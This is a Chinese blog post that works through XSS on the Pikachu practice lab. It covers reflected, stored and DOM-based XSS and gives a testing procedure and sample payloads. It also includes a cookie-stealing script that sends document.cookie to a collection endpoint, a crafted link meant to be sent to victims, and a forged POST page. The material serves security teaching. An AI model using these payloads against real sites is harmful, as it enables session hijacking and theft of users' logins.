美文网首页
三 XSS(一)

三 XSS(一)

作者: sunnnnnnnnnny | 来源:发表于2020-02-04 21:26 被阅读0次

跨站脚本漏洞概述

ⅩSS漏洞一直被评估为web漏洞中危害较大的漏洞,在 OWASP TOP10的排名中一直属于前三的江湖地位。
XSS是一种发生在web前端的漏洞,所以其危害的对象也主要是前端用户。
XSS漏洞可以用来进行钓鱼攻击、钓鱼攻击、前端js挖矿、用户 cookie获取。甚至可以结合浏览器自身的漏洞对用户主机进行远程控制等


XSS攻击流程
  • 反射型
    交互的数据一般不会被存在在数据库里面,一次性,所见即所得,一般出现在查询类页面等。
  • 存储型
    交互的数据会被存在在数据库里面,永久性存储,一般出现在留言板,注册等页面。
  • DOM型
    不与后台服务器产生数据交互,是一种通过DOM操作前端代码输出的时候产生的问题,一次性的,一般是js操作DOM对象。
    也属于反射型。

危害性

存储型>反射型>DOM型

XSS漏洞形成的原因

XSS原因

形成XSS漏洞的主要原因是程序对输入和输出的控制不够严格,导致“精心构造”的脚本输入后,在输到前端时被浏览器当作有效代码解析执行,从而产生危害。

XSS漏洞类型及测试流程

  1. 在目标站点上找到输入点,比如查询接口留言板等
  2. 输入一组“特殊字符+唯一识别字符”,点击提交后,查看返回的源码,是否有做对应的过滤或者转义处理 如 '"<>666
  3. 通过搜索定位到唯一字符,结合唯一字符前后语法确认是否可以构造执行js的条件(构造闭合)
  4. 提交构造的脚本代码(以及各种绕过姿势),看是否可以成功执行,如果成功执行则说明存在XS漏洞

TIPS

  1. 一般查询接口容易出现反射型XSS,留言板容易岀现存储型XSS
  2. 由于后台可能存在过滤措施,构造的 script可能会被过滤掉,而无法生效或者环境限制了执行(浏览器);
  3. 通过变化不同的 script,尝试绕过后台的过滤机制

反射型XSS(get&post)演示和原理分析

get

测试payload

<script>alert('xss')</script>

生成的url为http://192.168.43.5/pikachu/vul/xss/xss_reflected_get.php?message=%3Cscript%3Ealert%28%27xss%27%29%3C%2Fscript%3E&submit=submit,将这个url发送给受攻击者诱导其点击.
效果

基于GET的反射型XSS 后台代码

当然这个例子没有危害性

存储型XSS演示和与原理分析

存储型XS漏洞跟反射型形成的原因一样,不同的是存储型XSS下攻击者可以将脚本注入到后台存储起来,构成更加持久的危害,因此存储型XSS也称“永久型”XSS。

常见于论坛的留言板

存储型XSS

后台代码


处理提交的后台代码
显示留言的后台代码

DOM型XSS演示和原理分析

DOM 提供了js操作HTML结构的编程接口
可参考什么是DOM

通过 JavaScript,可以重构整个HTML文档。你可以添加、移除、改变或重排页面上的项目要改变页面的某个东西, JavaScript就需要获得对HTML文档中所有元素进行访问的入口。这个入口,连同对HTML元素进行添加、移动、改变或移除的方法和属性,都是通过文档对象模型来获得的(DOM)
所以,你可以把DOM理解为一个访问HTML的标准编程接口。

示例1

基于DOM的XSS 效果

其它payload

#' onclick="alert('xss')"

这个例子用来说明基于DOM的XSS的原理,这个例子没有太大的危害

示例2

示例2

这个例子通过将url发给目标就可以执行了

ⅩSS的危害-获取 cookie的原理和实验演示

原理

pkxss后台

pkxss后台接收cookies信息的接口
http://192.168.43.5/pkxss/pkxss_login.php
<script>document.location='http://192.168.43.5/pikachu/pkxss/xcookie/cookie.php?cookie='+document.cookie;</script>

当把包含恶意xss脚本的url发送给目标,目标点击后其cookies就会提交给xss后台的cookie接口,存入数据库.
恶意url为

http://192.168.43.5/pikachu/vul/xss/xss_reflected_get.php?message=%3Cscript%3Edocument.location%3D%27http%3A%2F%2F192.168.43.5%2Fpikachu%2Fpkxss%2Fxcookie%2Fcookie.php%3Fcookie%3D%27%2Bdocument.cookie%3B%3C%2Fscript%3E&submit=submit
xss后台接收到的cookie信息

POST方法的XSS

POST方法的参数不在url中,不能使用发送url的方式来利用,可以伪造一个页面让用户访问,这个页面以POST方法来向目标网站提交XXS脚本,原理如下图所示.


POST类型XSS的利用-Cookie获取

这个伪造的页面代码如下:


伪造页面

为方便起见,我将pikachu,pikxss和伪造的页面放在一个服务器上向上面的代码有点不同

pikachu的post xss地址 
http://192.168.43.5/pikachu/vul/xss/xsspost/xss_reflected_post.php
pikxss后台接收cookie的接口
http://192.168.43.5/pikachu/pkxss/xcookie/cookie.php
伪造页面的地址
http://192.168.43.5/pikachu/pkxss/xcookie/post.html

当用户访问下面的url时,就会向pkxss后台提交cookie

http://192.168.43.5/pikachu/pkxss/xcookie/post.html

当用户点击后,后台有收到含有登陆信息的cookie


pkxss后台

相关文章

  • XSS--LOG-1

    XSS总结: xss分为三种,反射型xss,DOM型XSS及存储型XSS,不同类型的XSS的危害不同,有兴趣的...

  • 代码审计——xss漏洞

    XSS漏洞大致分为三种 反射型XSS漏洞 存储型XSS漏洞 基于DOM的XSS漏洞 反射型XSS漏洞 它通过给别人...

  • XSS_1

    简介: 初学xss,xss分为三类。包括反射型,储存型和基于DOM型 一.XSS使用方法 1.简单XSS 所有代码...

  • 三 XSS(一)

    跨站脚本漏洞概述 ⅩSS漏洞一直被评估为web漏洞中危害较大的漏洞,在 OWASP TOP10的排名中一直属于前三...

  • Django中xss和静态文件的引用(十二)

    一、xss(跨域脚本攻击)的基本介绍 1、xss分类: 反射型xss 存储型xss 2、xss的概念 XSS攻击全...

  • 跨站攻击脚本-XSS

    XSS: Cross Site Scripting XSS 概念 XSS 分类 反射型xss攻击图示 XSS 攻击...

  • XSS payload.

    alert('XSS') alert("XSS") alert('XSS') alert("XSS") S...

  • 第三章 XSS 攻击

    要点 XSS 攻击 XSS 防护 一、 XSS攻击 XSS攻击 (Cross-Site Scripting,跨站脚...

  • 网络安全必学知识点之XSS漏洞

    xss漏洞小结 一、初识XSS 1、什么是XSS XSS全称跨站脚本(Cross Site Scripting),...

  • test

    alert('xss')alert('xss') alert('xss')

网友评论

      本文标题:三 XSS(一)

      本文链接:https://www.haomeiwen.com/subject/faatxhtx.html